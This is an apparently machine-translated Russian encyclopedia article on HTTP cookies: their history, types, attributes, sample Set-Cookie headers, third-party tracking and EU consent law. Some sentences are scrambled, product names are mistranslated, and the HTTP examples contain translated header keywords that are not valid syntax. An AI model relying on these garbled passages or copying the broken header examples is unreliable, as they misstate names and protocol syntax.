HTTP-куки

Файлы cookie HTTP (также называемые веб-файлами cookie , Интернет-файлами cookie , файлами cookie браузера или просто файлами cookie ) представляют собой небольшие блоки данных, создаваемые веб-сервером когда пользователь просматривает , веб -сайт , и размещаемые на компьютере пользователя или другом устройстве веб-браузером пользователя . Файлы cookie размещаются на устройстве, используемом для доступа к веб-сайту, и во время сеанса на устройстве пользователя может быть размещено более одного файла cookie.

Файлы cookie выполняют полезные, а иногда и важные функции в Интернете . Они позволяют веб-серверам хранить информацию о состоянии (например, товары, добавленные в корзину в интернет-магазине ) на устройстве пользователя или отслеживать активность пользователя в Интернете (включая нажатие определенных кнопок, вход в систему или запись посещенных страниц в прошлое ). Их также можно использовать для сохранения информации, которую пользователь ранее ввел в поля формы , такой как имена, адреса, пароли и номера платежных карт , для последующего использования.

Файлы cookie аутентификации обычно используются веб-серверами для проверки того, что пользователь вошел в систему и с какой учетной записью он вошел в систему. Без файлов cookie пользователям необходимо было бы аутентифицировать себя, входя в систему на каждой странице, содержащей конфиденциальную информацию, к которой они хотят получить доступ. . Безопасность файла cookie аутентификации обычно зависит от безопасности выдающего его веб-сайта и веб-браузера пользователя, а также от того, зашифрованы ли данные файла cookie . Уязвимости безопасности прочитать данные файла cookie могут позволить злоумышленнику , использовать их для получения доступа к пользовательским данным или использовать для получения доступа (с учетными данными пользователя) к веб-сайту, которому принадлежит файл cookie (см. межсайтовый скриптинг и межсайтовый скриптинг ). подделка запроса на сайт для примера).

Отслеживающие файлы cookie , и особенно сторонние файлы cookie для отслеживания , обычно используются в качестве способа составления долгосрочных записей истории посещений отдельных лиц — потенциальная проблема конфиденциальности , которая побудила европейцев и законодатели США примут меры в 2011 году. Европейский закон требует, чтобы все веб-сайты, ориентированные на Европейского Союза, государства-члены получали « информированное согласие » пользователей перед сохранением несущественных файлов cookie на их устройствах.

Фон

HTTP-файлы cookie имеют то же название, что и популярная выпечка .

Происхождение имени

Термин «cookie» был придуман программистом веб-браузера Лу Монтулли . Оно произошло от термина «волшебный cookie» , который представляет собой пакет данных, который программа получает и отправляет обратно в неизмененном виде, используемый программистами Unix .

История

Волшебные файлы cookie уже использовались в вычислительной технике, когда в июне 1994 года программисту Лу Монтулли пришла в голову идея использовать их в веб-коммуникациях. В то время он был сотрудником компании Netscape Communications , которая разрабатывала приложение электронной коммерции для MCI . Винт Серф и Джон Кленсин представляли MCI в технических переговорах с Netscape Communications. MCI не хотела, чтобы ее серверы сохраняли частичные состояния транзакций, поэтому они попросили Netscape вместо этого найти способ хранить это состояние на компьютере каждого пользователя. Файлы cookie позволили решить проблему надежной реализации виртуальной корзины покупок .

В том же году вместе с Джоном Джаннандреа Монтулли написал первоначальную спецификацию файлов cookie Netscape. Версия 0.9beta Mosaic Netscape , выпущенная 13 октября 1994 г. поддерживаемые файлы cookie. Первое использование файлов cookie (вне лабораторных исследований) заключалось в проверке того, посещали ли посетители веб-сайта Netscape этот сайт. Монтулли подал заявку на патент на технологию печенья в 1995 году, который был выдан в 1998 году. Поддержка файлов cookie была интегрирована в Internet Explorer во второй версии, выпущенной в октябре 1995 года.

В то время появление файлов cookie не было широко известно общественности. В частности, файлы cookie принимались по умолчанию, и пользователи не были уведомлены об их наличии. Общественность узнала о файлах cookie после того, как газета Financial Times опубликовала о них статью 12 февраля 1996 года. В том же году файлы cookie привлекли большое внимание средств массовой информации, особенно из-за потенциальных последствий для конфиденциальности. Файлы cookie обсуждались на двух слушаниях Федеральной торговой комиссии США в 1996 и 1997 годах.

Разработка формальных спецификаций файлов cookie уже ведется. В частности, первые обсуждения официальной спецификации начались в апреле 1995 года в списке рассылки www-talk . специальная рабочая группа В рамках Internet Engineering Task Force (IETF) была сформирована . Два альтернативных предложения по введению состояния в HTTP-транзакции были предложены Брайаном Белендорфом и Дэвидом Кристолом соответственно. Но группа, возглавляемая самим Кристолом и Лу Монтулли, вскоре решила использовать спецификацию Netscape в качестве отправной точки. В феврале 1996 года рабочая группа определила сторонние файлы cookie как серьезную угрозу конфиденциальности. Спецификация, разработанная группой, в конечном итоге была опубликована как RFC 2109 в феврале 1997 года. В ней указано, что сторонние файлы cookie либо вообще не разрешены, либо, по крайней мере, не включены по умолчанию. В это время рекламные компании уже использовали сторонние файлы cookie. Рекомендация RFC 2109 о сторонних файлах cookie не была соблюдена Netscape и Internet Explorer. RFC 2109 был заменен RFC 2965 в октябре 2000 года.

RFC 2965 добавил Set-Cookie2 поле заголовка , которое неофициально стало называться «cookie-файлами в стиле RFC 2965», в отличие от исходного Set-Cookie поле заголовка, которое называлось «cookies в стиле Netscape». Set-Cookie2 Однако использовался редко и был объявлен устаревшим в RFC 6265 в апреле 2011 года, который был написан как окончательная спецификация для файлов cookie, используемых в реальном мире. Ни один современный браузер не распознает Set-Cookie2 поле заголовка.

Терминология

Сеансовый файл cookie

Сеансовый файл cookie (также известный как файл cookie в памяти , временный файл cookie или непостоянный файл cookie ) существует только во временной памяти, пока пользователь перемещается по веб-сайту. Срок действия файлов cookie сеанса истекает или они удаляются, когда пользователь закрывает веб-браузер. Сеансовые файлы cookie идентифицируются браузером по отсутствию назначенного им срока действия.

Постоянный файл cookie

истекает Срок действия постоянного файла cookie в определенную дату или по истечении определенного периода времени. В течение срока действия постоянного файла cookie, установленного его создателем, его информация будет передаваться на сервер каждый раз, когда пользователь посещает веб-сайт, которому он принадлежит, или каждый раз, когда пользователь просматривает ресурс, принадлежащий этому веб-сайту, с другого веб-сайта (например, рекламу). ).

По этой причине постоянные файлы cookie иногда называют отслеживающими файлами cookie. поскольку они могут использоваться рекламодателями для записи информации о привычках пользователя просматривать веб-страницы в течение длительного периода времени. Постоянные файлы cookie также используются по таким причинам, как сохранение входа пользователей в свои учетные записи на веб-сайтах, чтобы избежать повторного ввода учетных данных при каждом посещении. (См. § Использование ниже.)

Безопасный файл cookie

может Безопасный файл cookie передаваться только через зашифрованное соединение (т. е. HTTPS ). Их нельзя передавать по незашифрованным соединениям (т. е. HTTP ). Это снижает вероятность кражи файлов cookie в результате подслушивания . Файл cookie становится безопасным благодаря добавлению Secure отметьте файл cookie.

Файл cookie только для HTTP

Доступ к файлу cookie только для http невозможен с помощью клиентских API, таких как JavaScript . Это ограничение устраняет угрозу кражи файлов cookie с помощью межсайтового скриптинга (XSS). Однако файл cookie остается уязвимым для атак межсайтовой трассировки (XST) и подделки межсайтовых запросов (CSRF). Файлу cookie придается эта характеристика путем добавления HttpOnly отметьте файл cookie.

Файл cookie того же сайта

В 2016 году представлен Google Chrome версии 51. новый вид файлов cookie с атрибутом SameSite с возможными значениями Strict, Lax или None. С атрибутом SameSite=Strict, браузеры будут отправлять файлы cookie только в целевой домен, который совпадает с исходным доменом. Это эффективно смягчит атаки с подделкой межсайтовых запросов (CSRF). С SameSite=Lax, браузеры будут отправлять файлы cookie с запросами на целевой домен, даже если он отличается от исходного домена, но только для безопасных запросов, таких как GET (POST небезопасен), а не сторонних файлов cookie (внутри iframe). Атрибут SameSite=None разрешает сторонние (межсайтовые) файлы cookie, однако для большинства браузеров требуется атрибут Secure для файлов cookie SameSite=None.

Файл cookie того же сайта включен в новый проект RFC «Файлы cookie: механизм управления состоянием HTTP». обновить RFC 6265 (в случае одобрения).

Chrome, Firefox и Edge начали поддерживать файлы cookie одного сайта. Ключом к развертыванию является обработка существующих файлов cookie без определенного атрибута SameSite. Chrome обрабатывает эти существующие файлы cookie так, как если бы SameSite=None, это позволит всем веб-сайтам/приложениям работать как раньше. Google намеревался изменить это значение по умолчанию на SameSite=Lax в Chrome 80 планируется выпустить в феврале 2020 года, но из-за возможной поломки тех приложений/веб-сайтов, которые полагаются на сторонние/межсайтовые файлы cookie, а также из-за обстоятельств COVID-19 , Google отложил это изменение до Chrome 84.

Суперпеченье

Суперкуки , — это файлы cookie, источником которых является домен верхнего уровня (например .com) или общедоступный суффикс (например, .co.uk). Обычные файлы cookie, напротив, имеют происхождение от определенного доменного имени, например example.com.

Суперкуки могут представлять потенциальную угрозу безопасности и поэтому часто блокируются веб-браузерами. В случае разблокировки браузером злоумышленник, контролирующий вредоносный веб-сайт, может установить суперкуки и потенциально нарушить или выдать себя за законные запросы пользователей на другой веб-сайт, который использует тот же домен верхнего уровня или общедоступный суффикс, что и вредоносный веб-сайт. Например, суперпеченье происхождения .com, может злонамеренно повлиять на запрос, отправленный example.com, даже если файл cookie исходил не от example.com. Это может быть использовано для подделки входа в систему или изменения информации о пользователе.

Список общедоступных суффиксов помогает снизить риск, который представляют суперкуки. Список общедоступных суффиксов — это инициатива нескольких поставщиков, целью которой является предоставление точного и актуального списка суффиксов доменных имен. Более старые версии браузеров могут не иметь обновленного списка и поэтому будут уязвимы для суперкуки из определенных доменов.

Другое использование

Термин «суперкуки» иногда используется для обозначения технологий отслеживания, которые не используют файлы cookie HTTP. В августе 2011 года на веб-сайтах Microsoft были обнаружены два таких механизма суперкуки : синхронизация файлов cookie, которая порождала файлы cookie MUID (уникальный идентификатор компьютера), и файлы cookie ETag . Из-за внимания средств массовой информации Microsoft позже отключила этот код. В сообщении в блоге 2021 года Mozilla использовала термин «суперкуки» для обозначения использования кеша браузера как средства отслеживания пользователей на разных сайтах.

Зомби-печенье

Основные статьи: Zombie cookie и Evercookie

Зомби -куки — это данные и код, которые были размещены веб-сервером на компьютере посетителя или другом устройстве в скрытом месте за пределами выделенного места хранения куки-файлов веб-браузера посетителя и которые автоматически воссоздают HTTP-куки-файл как обычный куки-файл после исходный файл cookie был удален. Файл cookie-зомби может храниться в нескольких местах, таких как общий объект Flash Local , веб-хранилище HTML5 и других местах на стороне клиента и даже на стороне сервера, и когда в одном из мест обнаруживается отсутствие, отсутствующий экземпляр воссоздается код JavaScript, использующий данные, хранящиеся в других местах.

Стена печенья

На веб-сайте появляется стена файлов cookie и информирует пользователя об использовании файлов cookie на веб-сайте. У него нет возможности отклонения, и веб-сайт недоступен без файлов cookie отслеживания.

Состав

Файл cookie состоит из следующих компонентов:

1. Имя
2. Ценить
3. Ноль или более атрибутов ( пар имя/значение ). Атрибуты хранят такую ​​информацию, как срок действия файла cookie, домен и флаги (например, Secure и HttpOnly).

Использование

Управление сеансами

Первоначально файлы cookie были созданы для того, чтобы предоставить пользователям возможность записывать товары, которые они хотят приобрести, при навигации по веб-сайту (виртуальная корзина для покупок или корзина для покупок ). Однако сегодня содержимое корзины покупок пользователя обычно хранится в базе данных на сервере, а не в файле cookie на клиенте. Чтобы отслеживать, какой пользователь к какой корзине покупок привязан, сервер отправляет клиенту файл cookie, который содержит уникальный идентификатор сеанса (обычно длинную строку случайных букв и цифр). Поскольку файлы cookie отправляются на сервер при каждом запросе клиента, этот идентификатор сеанса будет отправляться обратно на сервер каждый раз, когда пользователь посещает новую страницу веб-сайта, что позволяет серверу узнать, какую корзину покупок отображать пользователю.

Еще одно популярное использование файлов cookie — вход на веб-сайты. Когда пользователь посещает страницу входа на веб-сайт, веб-сервер обычно отправляет клиенту файл cookie, содержащий уникальный идентификатор сеанса. Когда пользователь успешно входит в систему, сервер запоминает, что этот конкретный идентификатор сеанса был аутентифицирован, и предоставляет пользователю доступ к своим службам.

Поскольку файлы cookie сеанса содержат только уникальный идентификатор сеанса, это делает объем личной информации о каждом пользователе, которую веб-сайт может сохранить, практически безграничным — веб-сайт не ограничен ограничениями относительно размера файла cookie. Сеансовые файлы cookie также помогают сократить время загрузки страницы, поскольку объем информации в сеансовых файлах cookie невелик и требует небольшой пропускной способности.

Персонализация

Файлы cookie могут использоваться для запоминания информации о пользователе, чтобы с течением времени показывать этому пользователю релевантный контент. Например, веб-сервер может отправить файл cookie, содержащий имя пользователя, которое в последний раз использовалось для входа на веб-сайт, чтобы оно могло быть заполнено автоматически при следующем входе пользователя в систему.

Многие веб-сайты используют файлы cookie для персонализации на основе предпочтений пользователя. Пользователи выбирают свои предпочтения, вводя их в веб-форму и отправляя форму на сервер. Сервер кодирует настройки в файле cookie и отправляет его обратно в браузер. Таким образом, каждый раз, когда пользователь заходит на страницу веб-сайта, сервер может персонализировать страницу в соответствии с предпочтениями пользователя. Например, поисковая система Google когда-то использовала файлы cookie, чтобы позволить пользователям (даже незарегистрированным) решать, сколько результатов поиска на странице они хотят видеть. Кроме того, DuckDuckGo использует файлы cookie, чтобы пользователи могли устанавливать предпочтения просмотра, например цвета веб-страницы.

Отслеживание

См. также: Веб-отслеживание

Отслеживающие файлы cookie используются для отслеживания привычек пользователей при просмотре веб-страниц. В некоторой степени это также можно сделать, используя IP-адрес компьютера, запрашивающего страницу, или Referer поле заголовка HTTP- запроса, но файлы cookie обеспечивают большую точность. Это можно продемонстрировать следующим образом:

1. Если пользователь запрашивает страницу сайта, но запрос не содержит файлов cookie, сервер предполагает, что это первая страница, посещенная пользователем. Таким образом, сервер создает уникальный идентификатор (обычно строку случайных букв и цифр) и отправляет его в виде файла cookie обратно в браузер вместе с запрошенной страницей.
2. С этого момента файл cookie будет автоматически отправляться браузером на сервер каждый раз, когда запрашивается новая страница сайта. Сервер не только отправляет страницу как обычно, но также сохраняет URL-адрес запрошенной страницы, дату/время запроса и файл cookie в файле журнала.

Анализируя этот файл журнала, можно узнать, какие страницы посещал пользователь, в какой последовательности и как долго.

Корпорации используют веб-привычки пользователей, отслеживая файлы cookie для сбора информации о покупательских привычках. Газета Wall Street Journal обнаружила, что на пятидесяти крупнейших веб-сайтах Америки было установлено в среднем шестьдесят четыре технологии отслеживания на компьютерах, в результате чего в общей сложности было создано 3180 файлов отслеживания. Затем данные могут быть собраны и проданы корпорациям, участвующим в торгах.

Выполнение

Возможное взаимодействие между веб-браузером и веб-сервером, содержащим веб-страницу, при котором сервер отправляет браузеру файл cookie, а браузер отправляет его обратно при запросе другой страницы.

Файлы cookie представляют собой произвольные фрагменты данных, обычно выбираемые и сначала отправляемые веб-сервером, а затем сохраняемые на клиентском компьютере веб-браузером. Затем браузер отправляет их обратно на сервер с каждым запросом, добавляя состояния -транзакции без сохранения состояния (память о предыдущих событиях) в HTTP . Без файлов cookie каждый запрос веб-страницы или компонента веб-страницы был бы изолированным событием, практически не связанным со всеми другими просмотрами страниц, совершаемыми пользователем на веб-сайте. Хотя файлы cookie обычно устанавливаются веб-сервером, они также могут быть установлены клиентом с использованием языка сценариев, такого как JavaScript (если файл cookie не установлен). HttpOnly установлен флаг, и в этом случае файл cookie не может быть изменен языками сценариев).

Характеристики файлов cookie требуют, чтобы браузеры соответствовали следующим требованиям для поддержки файлов cookie:

• Может поддерживать файлы cookie размером до 4096 байт .
• Может поддерживать не менее 50 файлов cookie на домен (т. е. на веб-сайт).
• Всего может поддерживать не менее 3000 файлов cookie.

Установка файла cookie

Файлы cookie устанавливаются с помощью Set-Cookie Поле заголовка , отправленное в ответе HTTP от веб-сервера. Это поле заголовка указывает веб-браузеру хранить файл cookie и отправлять его обратно при будущих запросах на сервер (браузер будет игнорировать это поле заголовка, если он не поддерживает файлы cookie или отключил файлы cookie).

Например, браузер отправляет свой первый HTTP-запрос на домашнюю страницу. www.example.org Веб-сайт:

GET   /index.html   HTTP  /  1.1 
 Хост  :   www.example.org 
 ... 

Сервер отвечает двумя Set-Cookie поля заголовка:

HTTP  /  1.0   200   OK 
 Тип контента  :   text/html 
 Set-Cookie  :   theme=light 
 Set-Cookie  :   sessionToken=abc123;   Срок действия истекает=Ср, 09 июня 2021 г., 10:18:14 GMT 
 ... 

HTTP-ответ сервера содержит содержимое домашней страницы веб-сайта. Но он также предписывает браузеру установить два файла cookie. Первый, theme , считается сеансовым файлом cookie, поскольку у него нет файла cookie. Expires или Max-Ageатрибут. Сеансовые файлы cookie предназначены для удаления браузером при его закрытии. Второй, sessionToken , считается постоянным файлом cookie , поскольку он содержит Expires атрибут, который указывает браузеру удалить файл cookie в определенную дату и время.

Далее браузер отправляет еще один запрос на посещение spec.htmlстраница на сайте. Этот запрос содержит Cookie Поле заголовка, содержащее два файла cookie, которые сервер поручил браузеру установить:

GET   /spec.html   HTTP  /  1.1 
 Хост  :   www.example.org 
 Файл cookie  :   theme=light;   sessionToken=abc123 
 … 

Таким образом, сервер узнает, что этот HTTP-запрос связан с предыдущим. Сервер ответит, отправив запрошенную страницу, возможно, включая больше Set-Cookieполя заголовка в ответе HTTP, чтобы указать браузеру добавить новые файлы cookie, изменить существующие файлы cookie или удалить существующие файлы cookie. Чтобы удалить файл cookie, сервер должен включить Set-Cookie поле заголовка со сроком действия в прошлом.

Значение файла cookie может состоять из любого печатаемого ASCII ( символа ! через ~, Юникод \u0021 через \u007E) без учета ,и ;и пробельные символы . Имя файла cookie исключает те же символы, а также =, поскольку это разделитель между именем и значением. Стандарт файлов cookie RFC 2965 является более ограничительным, но не реализуется браузерами.

Термин «крошка файла cookie» иногда используется для обозначения пары «имя-значение» файла cookie.

Файлы cookie также могут устанавливаться с помощью языков сценариев, таких как JavaScript , которые запускаются в браузере. В JavaScript объект document.cookieиспользуется для этой цели. Например, инструкция document.cookie = "temperature=20" создает файл cookie с именем температуры и значением 20 .

Атрибуты файлов cookie

Помимо имени и значения файлы cookie также могут иметь один или несколько атрибутов. Браузеры не включают атрибуты файлов cookie в запросы к серверу — они отправляют только имя и значение файла cookie. Атрибуты файлов cookie используются браузерами, чтобы определить, когда следует удалить файл cookie, заблокировать его или отправить файл cookie на сервер.

Домен и путь

The Domain и Pathатрибуты определяют область действия файла cookie. По сути, они сообщают браузеру, какому веб-сайту принадлежит файл cookie. По соображениям безопасности файлы cookie можно устанавливать только для верхнего домена текущего ресурса и его поддоменов, но не для другого домена и его поддоменов. Например, сайт example.org невозможно установить файл cookie с доменом foo.com потому что это позволит веб-сайту example.org контролировать куки-файлы домена foo.com.

Если файл cookie Domain и Path атрибуты не указываются сервером, по умолчанию они соответствуют домену и пути к запрошенному ресурсу. Однако в большинстве браузеров существует разница между набором файлов cookie и foo.com без домена и набором файлов cookie с foo.comдомен. В первом случае файл cookie будет отправляться только для запросов к foo.com, также известный как файл cookie только для хоста. В последнем случае также включаются все поддомены (например, docs.foo.com). Заметным исключением из этого общего правила являются Edge до Windows 10 RS3 и Internet Explorer до IE 11 и Windows 10 RS4 (апрель 2018 г.), которые всегда отправляют файлы cookie в поддомены независимо от того, были ли файлы cookie установлены с доменом или без него.

Ниже приведен пример некоторых Set-Cookie поля заголовка в HTTP-ответе веб-сайта после входа пользователя в систему. HTTP-запрос был отправлен на веб-страницу внутри docs.foo.com поддомен:

HTTP  /  1.0   200   ОК 
 Set-Cookie  :   LSID=DQAAAK…Eaem_vYg;   Путь=/аккаунты;   Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу;   Безопасный;   HttpOnly 
 Set-Cookie  :   HSID=AYQEVn…DKrdst;   Домен=.foo.com;   Путь=/;   Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу;   HttpOnly 
 Set-Cookie  :   SSID=Ap4P…GTEq;   Домен=foo.com;   Путь=/;   Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу;   Безопасный;   Только HTTP 
 … 

Первое печенье, LSID, не имеет Domain атрибут и имеет Path атрибут установлен на /accounts. Это указывает браузеру использовать файлы cookie только при запросе страниц, содержащихся в docs.foo.com/accounts(домен получен из домена запроса). Два других печенья, HSID и SSID, будет использоваться, когда браузер запрашивает любой поддомен в .foo.com по любому пути (например www.foo.com/bar). Точка в начале не является обязательной в последних стандартах, но ее можно добавить для совместимости с реализациями на основе RFC 2109.

Срок действия и максимальный возраст

The ExpiresАтрибут определяет конкретную дату и время, когда браузер должен удалить файл cookie. Дата и время указываются в форме Wdy, DD Mon YYYY HH:MM:SS GMT, или в форме Wdy, DD Mon YY HH:MM:SS GMT для значений YY, где YY больше или равно 0 и меньше или равно 69.

Альтернативно, Max-AgeАтрибут можно использовать для установки срока действия файла cookie в виде интервала в секундах в будущем относительно времени, когда браузер получил файл cookie. Ниже приведен пример трех Set-Cookie поля заголовка, полученные с сайта после входа пользователя:

HTTP  /  1.0   200   ОК 
 Set-Cookie  :   lu=Rg3vHJZnehYLjVg7qi3bZjzg;   Срок действия истекает = вторник, 15 января 2013 г., 21:47:38 по Гринвичу;   Путь=/;   Домен=.example.com;   HttpOnly 
 Set-Cookie  :   made_write_conn=1295214458;   Путь=/;   Domain=.example.com 
 Set-Cookie  :   reg_fb_gate=deleted;   Срок действия истекает = четверг, 1 января 1970 г., 00:00:01 по Гринвичу;   Путь=/;   Домен=.example.com;   HttpOnly 

Первое печенье, luСрок действия истекает 15 января 2013 г. До этого времени он будет использоваться клиентским браузером. Второе печенье, made_write_conn, не имеет срока действия, что делает его сеансовым файлом cookie. Он будет удален после того, как пользователь закроет браузер. Третье печенье, reg_fb_gate, его значение изменено на delete со сроком действия в прошлом. Браузер немедленно удалит этот файл cookie, поскольку срок его действия уже прошел. Обратите внимание, что файлы cookie будут удалены только в том случае, если атрибуты домена и пути в Set-Cookie поле соответствует значениям, использованным при создании файла cookie.

По состоянию на 2016 год Internet Explorer не поддерживает Max-Age.

Безопасный и только Http

The Secure и HttpOnlyатрибуты не имеют связанных значений. Скорее, наличие только имен их атрибутов указывает на то, что их поведение должно быть включено.

The SecureАтрибут предназначен для того, чтобы передача файлов cookie ограничивалась зашифрованной передачей, предписывая браузерам использовать файлы cookie только через безопасные/зашифрованные соединения. Однако если веб-сервер устанавливает файл cookie с атрибутом безопасности из незащищенного соединения, файл cookie все равно может быть перехвачен при отправке пользователю с помощью атак «человек посередине» . Поэтому для максимальной безопасности файлы cookie с атрибутом Secure следует устанавливать только через безопасное соединение.

The HttpOnlyАтрибут предписывает браузерам не предоставлять файлы cookie через каналы, отличные от запросов HTTP (и HTTPS). Это означает, что к файлу cookie нельзя получить доступ через языки сценариев на стороне клиента (в частности, JavaScript ), и, следовательно, его нельзя легко украсть с помощью межсайтового сценария (метод всеобъемлющей атаки).

Настройки браузера

Большинство современных браузеров поддерживают файлы cookie и позволяют пользователю отключать их. Ниже приведены распространенные варианты:

• Чтобы полностью включить или отключить файлы cookie, чтобы они всегда принимались или всегда блокировались.
• Для просмотра и выборочного удаления файлов cookie с помощью менеджера файлов cookie.
• Полностью стереть все личные данные, включая файлы cookie.

Также существуют дополнительные инструменты для управления разрешениями на использование файлов cookie.

Сторонний файл cookie

Основная статья: Сторонние файлы cookie

См. также: Веб-аналитика § Проблемы с файлами cookie.

Файлы cookie имеют важные последствия для конфиденциальности и анонимности веб-пользователей. Хотя файлы cookie отправляются только на сервер, устанавливающий их, или на сервер в том же интернет-домене, веб-страница может содержать изображения или другие компоненты, хранящиеся на серверах в других доменах. Файлы cookie, которые устанавливаются во время получения этих компонентов, называются сторонними файлами cookie . Сторонний файл cookie принадлежит домену, отличному от того, который указан в адресной строке. Этот тип файлов cookie обычно появляется, когда веб-страницы содержат контент с внешних веб-сайтов, например рекламные баннеры . Это открывает возможности для отслеживания истории просмотров пользователя и используется рекламодателями для показа релевантной рекламы каждому пользователю.

В этом вымышленном примере рекламная компания разместила баннеры на двух веб-сайтах. Размещая изображения баннеров на своих серверах и используя сторонние файлы cookie, рекламная компания может отслеживать просмотры пользователей на этих двух сайтах.

В качестве примера предположим, что пользователь посещает www.example.org. На этом сайте размещена реклама от ad.foxytracking.com, который при загрузке устанавливает файл cookie, принадлежащий домену рекламного объявления ( ad.foxytracking.com). Затем пользователь посещает другой веб-сайт, www.foo.com, который также содержит рекламу от ad.foxytracking.com и устанавливает файл cookie, принадлежащий этому домену ( ad.foxytracking.com). В конечном итоге оба этих файла cookie будут отправлены рекламодателю при загрузке его рекламы или посещении его веб-сайта. Затем рекламодатель может использовать эти файлы cookie для создания истории посещений пользователя на всех веб-сайтах, на которых есть реклама этого рекламодателя, посредством использования поля заголовка HTTP-реферера .

По состоянию на 2014 год , некоторые веб-сайты устанавливали файлы cookie, доступные для чтения более чем 100 сторонним доменам. В среднем на одном веб-сайте устанавливалось 10 файлов cookie, при этом максимальное количество файлов cookie (основных и сторонних) достигало более 800.

Старые стандарты файлов cookie, RFC 2109. и RFC 2965 рекомендуют браузерам защищать конфиденциальность пользователей и по умолчанию не разрешать обмен файлами cookie между серверами. Однако новый стандарт RFC 6265 явно позволяет пользовательским агентам реализовывать любую политику сторонних файлов cookie, которую они пожелают. Большинство современных веб-браузеров содержат настройки конфиденциальности , которые могут блокировать сторонние файлы cookie. С 2020 года Apple Safari , Fire Fox , и храбрый по умолчанию блокировать все сторонние файлы cookie. Safari позволяет встроенным сайтам использовать API доступа к хранилищу для запроса разрешения на установку собственных файлов cookie. В мае 2020 года в Google Chrome 83 были представлены новые функции для блокировки сторонних файлов cookie по умолчанию в режиме инкогнито для частного просмотра, что сделало блокировку необязательной во время обычного просмотра. В том же обновлении также добавлена ​​возможность блокировать основные файлы cookie. По состоянию на апрель 2024 года Chrome по умолчанию отложил блокировку сторонних файлов cookie до 2025 года.

Конфиденциальность

См. также: Не отслеживать

Возможность создания профилей пользователей представляет собой угрозу конфиденциальности, особенно когда отслеживание осуществляется на нескольких доменах с использованием сторонних файлов cookie. По этой причине в некоторых странах действует законодательство о файлах cookie.

Операторы веб-сайтов, которые не раскрывают потребителям информацию об использовании сторонних файлов cookie, рискуют подорвать доверие потребителей, если использование файлов cookie будет обнаружено. Четкое раскрытие информации (например, в политике конфиденциальности ) обычно устраняет любые негативные последствия такого обнаружения файлов cookie.

Правительство Соединенных Штатов установило строгие правила установки файлов cookie в 2000 году после того, как стало известно, что отдел политики Белого дома по борьбе с наркотиками использовал файлы cookie для отслеживания пользователей компьютеров, просматривающих его онлайн-рекламу, направленную против наркотиков. В 2002 году активист по защите конфиденциальности Дэниел Брандт обнаружил, что ЦРУ оставляло постоянные файлы cookie на компьютерах, которые посещали его веб-сайт. Получив уведомление о нарушении политики, ЦРУ заявило, что эти файлы cookie не были установлены намеренно, и прекратило их установку. 25 декабря 2005 года Брандт обнаружил, что Агентство национальной безопасности (АНБ) оставляло два постоянных файла cookie на компьютерах посетителей из-за обновления программного обеспечения. Получив сообщение, АНБ немедленно отключило файлы cookie.

Директива ЕС о файлах cookie

В 2002 году Европейский Союз принял Директиву о конфиденциальности и электронных коммуникациях (Директива о конфиденциальности электронных данных), политику, требующую согласия конечных пользователей на размещение файлов cookie и аналогичных технологий для хранения и доступа к информации на пользовательском оборудовании. В частности, пункт 3 статьи 5 предписывает, что хранение технически ненужных данных на компьютере пользователя может осуществляться только в том случае, если пользователю предоставлена ​​информация о том, как эти данные используются, и пользователю предоставлена ​​возможность отказать в этой операции хранения. Директива не требует от пользователей авторизации или предоставления уведомления об использовании файлов cookie, которые функционально необходимы для предоставления запрошенной ими услуги, например, для сохранения настроек, сохранения сеансов входа в систему или запоминания того, что находится в корзине покупок пользователя.

В 2009 году в закон были внесены поправки Директивой 2009/136/EC, которая включала изменение в параграф 3 статьи 5. Вместо того, чтобы предоставить пользователям возможность отказаться от хранения файлов cookie, пересмотренная Директива требует получения согласия на использование файлов cookie. хранилище. Определение согласия имеет перекрестную ссылку на определение в европейском законодательстве о защите данных, сначала в Директиве о защите данных 1995 года, а затем в Общем регламенте защиты данных (GDPR). Поскольку определение согласия было усилено в тексте GDPR, это привело к повышению качества согласия, требуемого теми, кто хранит и получает доступ к такой информации, как файлы cookie, на устройствах пользователей. Однако в деле, решение по которому было принято в соответствии с Директивой о защите данных, Суд Европейского Союза позже подтвердил, что предыдущий закон подразумевал такое же строгое качество согласия, как и действующий документ. Помимо требования согласия, которое вытекает из хранения или доступа к информации на конечном устройстве пользователя, информация во многих файлах cookie будет считаться персональными данными только в соответствии с GDPR, и для обработки потребуется юридическое основание. Так было со времени принятия Директивы о защите данных 1995 года, в которой использовалось идентичное определение персональных данных, хотя GDPR в пояснительной части 30 уточняет, что сюда включены идентификаторы файлов cookie. Хотя не вся обработка данных в соответствии с GDPR требует согласия, характеристики поведенческой рекламы означают, что ее трудно или невозможно оправдать каким-либо другим основанием.

Согласие в соответствии с GDPR и Директивой о конфиденциальности в Интернете должно соответствовать ряду условий в отношении файлов cookie. Оно должно быть предоставлено свободно и недвусмысленно: предварительно отмеченные поля были запрещены Директивой о защите данных 1995 г. и GDPR (декларативная часть 32). В GDPR указано, что согласие должно быть «так же легко отозвать, как и дать». Это означает, что кнопка «Отклонить все» должна быть так же легкодоступна с точки зрения кликов и видимости, как и кнопка «Принять все». Оно должно быть конкретным и информативным, то есть согласие относится к конкретным целям использования этих данных, и все организации, желающие использовать это согласие, должны быть конкретно названы. Суд Европейского Союза также постановил, что согласие должно быть «эффективным и своевременным», то есть оно должно быть получено до того, как будут установлены файлы cookie и начнется обработка данных, а не после этого.

Реакция отрасли была в основном негативной. Роберт Бонд из юридической фирмы Speechly Bircham описывает последствия как «далеко идущие и невероятно обременительные» для «всех британских компаний». Саймон Дэвис из Privacy International утверждает, что надлежащее правоприменение «уничтожит всю отрасль». Однако ученые отмечают, что обременительный характер всплывающих окон с файлами cookie проистекает из попытки продолжать использовать бизнес-модель посредством запутанных запросов, которые могут быть несовместимы с GDPR.

